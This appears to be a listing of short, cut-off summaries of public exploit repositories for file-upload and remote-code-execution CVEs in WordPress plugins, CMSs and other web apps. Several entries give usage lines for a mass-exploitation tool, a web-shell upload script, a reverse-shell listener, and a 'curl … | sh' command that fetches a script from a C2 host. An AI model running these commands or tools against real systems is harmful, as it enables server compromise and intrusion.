PoC-CVE-2026-1357

PoC CVE-2026-1357：WPvivid Backup & Migration WordPress 的 Migration, Backup, Staging – WPvivid Backup & Migration 插件在 0.9.123 及更早版本中存在未认证的任意文件上传漏洞。该漏洞源于 RSA 解密过程中的错误处理不当，以及在写入上传文件时缺乏路径清理。当插件使用 opensslprivatedecrypt 解密会话密钥失败时，它不会终止执行，而是将布尔值 false 传递给 phpseclib 库的 AES 密码初始化。该库将此 false...

cve-2023-5966

CVE-2023-5966 のPoC アドバイザリ EspoCRM 2.7.4 以前のバージョンは、拡張機能追加機能における任意のファイルアップロードに対して脆弱であり、コード実行につながる可能性があります。 このリポジトリのzipファイルは、Webシェルを /webshell.php にアップロードします。...

CVE-2026-25548

CVE-2026-25548 — InvoicePlane 1.7.0 におけるリモートコード実行 脆弱性: ローカルファイルインクルージョン＋ログポイズニングによるリモートコード実行 製品: InvoicePlane 影響を受けるバージョン: 1.7.0（およびそれ以前のバージョンの可能性あり） 深刻度: 重大 CVSS 3.1 スコア: 9.1 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H CWE: CWE-98、CWE-117、CWE-94 発見者: Leonidas Agathos 報告日: 2026-01-31 目次 説明 脆弱性の詳...

CVE-2025-10353-POC

CVE-2025-10353 POC - ファイルアップロード RCE 🛠️ CVE-2025-10353 の POC: Melis Platform の melis-cms-slider モジュールにおけるファイルアップロードの脆弱性。攻撃者が mcsdetailimg パラメータを介して悪意のあるファイルをアップロードすると、リモートコード実行 RCE につながる可能性があります: /melis/MelisCmsSlider/MelisCmsSliderDetails/saveDetailsForm 🔗 参考情報 📄 MITRE の CVE-2025-10353 📄 INCIBE...

CVE-2026-107362

Malcolm file-upload component ships the upstream FilePond PHP server pqina/filepond-server-php largely unmodified: Dockerfile copies all upstream .php files and Malcolm only overwrites config.php and submit.php. Upstream index.php exposes a fetch API route that instructs the server to download an...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8（重大）Jenzabar ICS + MoxieManager でRCEの可能性 proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS 影響 影響を受ける製品 CVE-2026-30-03 9.8（重大） RCEの可能性 Jenzabar ICS + MoxieManager Jenzabar ICS システムで使用される MoxieManager...

CVE-2026-3844

CVE-2026-3844 大量悪用ツール CVE-2026-3844 – Breeze Cache WordPress =2.4.4 は、ローカル Gravatar ホスティングが有効な場合に、fetchgravatarfromremote を介した認証なしのファイルアップロードを許可します。 インストール リポジトリをダウンロード git clone https://github.com/im-hanzou/CVE-2026-3844 リポジトリフォルダに移動 cd CVE-2026-3844 依存関係をインストール pip install -r requirements.txt...

CVE-2026-31816-rshell

CVE-2026-31816 リバースシェルエクスプロイト 概要 このツールはCVE-2026-31816を悪用して、標的のBudibaseサーバーにリバースシェル接続を確立します。 攻撃チェーン : 認証バイパス → DATASOURCEプラグインのアップロード → サーバーサイドコード実行 → リバースシェル 要件 Python 3.6以上 requestsライブラリ（pip install requests） CVE-2026-31816の影響を受ける標的Budibaseサーバー 使用方法 基本手順 1. 攻撃者マシンでリスナーを起動 nc -lvnp 4444 2...

Exploit-CVE-2026-1357

依存関係のインストール pip3 install pycryptodome requests 基本エクスプロイト python3 wpvivi.py http://target.com カスタムWebシェル python3 wpvivi.py http://target.com --shell backdoor.php python3 wpvivi.py http://target.com --code "" 技術的な説明: Null Byte Key: RSA復号が失敗するとfalseが返り、phpseclibはそれを「\x00\x00\x00」として扱います。AES-128...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache RCE 認証不要の任意ファイルアップロード → リモートコード実行 フィールド| 値 ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical プラグイン| Breeze Cache Cloudways 影響を受けるバージョン| ≤ 2.4.4 修正バージョン| 2.4.5 発見者| Hung Nguyen bashu PoC作成者| halilkirazkaya 概要 Breeze Cache WordPressプラグイン（≤...

CVE-2026-42879

CVE-2026-42879 - FacturaScripts - MIMEタイプバイパスによる認証済み無制限ファイルアップロード 概要 FacturaScriptsの商品画像アップロード機能に、認証済みユーザーが悪用可能な無制限ファイルアップロードの脆弱性が存在します。有効な認証情報を持つ攻撃者は、GIF89aヘッダーを使用してPHPファイルをGIF画像に偽装し、MIMEタイプ検証をバイパスできます。ファイルは元の拡張子（.phpなどの実行可能な拡張子を含む）で保存されます。 詳細 脆弱性は以下のファイルに存在します：...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14には、細工されたプラグインを介して攻撃者が任意のコードを実行できるようにするゼロクリックコードインジェクションの脆弱性が存在することが発見されました。この脆弱性は、攻撃者のプロフィールページとのユーザー操作を通じてトリガーされます。 ワンクリック手法: 学生アカウントを持つ攻撃者は、悪意のあるWebページまたは悪意のあるSVG画像ファイルを作成し、そのファイルを学生プロフィールページの「My...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: Tiny File Manager Project の Tiny File Manager = 2.4.3 における tinyfilemanager.php のファイルアップロード機能のパストラバーサル（ディレクトリトラバーサル）の脆弱性により、有効なユーザーアカウントを持つリモートの攻撃者が悪意のある PHP ファイルをウェブルートにアップロードし、対象サーバー上でコード実行を達成できる可能性があります。...

CVE-2025-52136

CVE-2025-52136 https://github.com/ricardojoserf/emqx-RCE 元の利用方法は、EMQXプラグインをアップロードし、プラグインテンプレートのコードにErlangのosモジュールを追加してシステムコマンドを実行しRCEを行うものです。 出網環境（外部接続可能な環境）では、環境にデフォルトでcurlが存在するため、直接curl http://xx.xx.xx.xx/1.sh | shでC2に接続できます。...

CVE-2026-7537

MDJM Event Management = 1.7.8.3 - 認証済み（管理者+）任意ファイルアップロード（'mdjmemailuploadfile' パラメータ経由） WordPress の MDJM Event Management プラグイン（バージョン 1.7.8.3 以前）には、認証済み管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。 TL;DR エクスプロイト 認証済み攻撃者が shell.php をアップロードしてリモートコードを実行することを示す POC...

CSRF-to-RCE-on-Backdrop-CMS

Backdrop CMS 1.20 における CSRF から RCE への昇格 この PoC は、Backdrop CMS バージョン 1.20 の CSRF を悪用し、RCE に昇格させる方法を示しています。 CVE ID CVE-2021-45268 説明 Backdrop CMS バージョン 1.20 では、サイトにアップロードされた ZIP ファイルを介してプラグインを追加できます。また、CSRF...

exploits

exploits 公開済みのPoCは exploitdb.com で見つけることができます Patient Appointment Scheduler System v1.0: Inbit Messenger v4.6.0:...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc 任意ファイルアップロードを介して、Webサーバープリビレッジでリモートコード実行を悪用するproof-of-concept。 脆弱性の説明 H-ui.admin システムの WebUploader preview コンポーネントに、重大なリモートコード実行の脆弱性が存在します。/public/static/admin/lib/webuploader/0.1.5/server/preview.php ファイルは適切な認証とファイル検証を欠いているため、認証されていない攻撃者が任意の PHP...

Unrestricted-File-Upload-on-SiteMagic-CMS-4.4.2

SiteMagic CMS 4.4.2 における無制限のファイルアップロード このリポジトリでは、SiteMagic CMS 4.4.2 の無制限ファイルアップロード脆弱性を悪用する方法について説明しています。 SiteMagic CMS 4.4.2 について ウェブサイト: https://sitemagic.org/ ダウンロード: https://sitemagic.org/Download.html PoC - SiteMagic CMS 4.4.2 の無制限ファイルアップロード脆弱性の悪用 FrmUpload.class.php は、Web...

CVE-2026-107335 Improper Handling of Highly Compressed Data in Malcolm

Malcolm's upload-processing pipeline scripts/safe-extract.py enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives zip/tar/rar/7z via libarchive, but those limits are not applied when the uploaded file is a single-stream compressed format .gz,...